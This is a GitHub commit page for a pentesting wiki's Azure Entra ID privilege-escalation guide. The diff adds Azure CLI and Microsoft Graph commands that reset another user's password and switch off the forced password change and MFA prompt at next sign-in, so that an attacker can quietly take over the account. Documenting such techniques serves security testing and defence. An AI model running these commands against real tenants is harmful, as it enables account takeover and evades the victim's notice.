Skip to content

Commit a80e284

Browse files
authored
Merge pull request #285 from ZoneMix/master
Update User Password Addition
2 parents 7f789f1 + cee4c97 commit a80e284

1 file changed

Lines changed: 15 additions & 1 deletion

File tree

  • src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc

src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -408,7 +408,21 @@ dynamic-groups.md
408408
This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.
409409

410410
```bash
411-
az ad user update --id <user-id> --password "kweoifuh.234"
411+
# Update user password
412+
userId="<user-id>"
413+
az ad user update --id $userId --password "kweoifuh.234"
414+
415+
# Update user password without needing to change or use MFA on next sign-in
416+
az rest --method PATCH \
417+
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
418+
--headers "Content-Type=application/json" \
419+
--body "{
420+
\"passwordProfile\": {
421+
\"forceChangePasswordNextSignInWithMfa\": false,
422+
\"forceChangePasswordNextSignIn\": false,
423+
\"password\": \"kweoifuh.234\"
424+
}
425+
}"
412426
```
413427

414428
### `microsoft.directory/users/basic/update`

0 commit comments

Comments
 (0)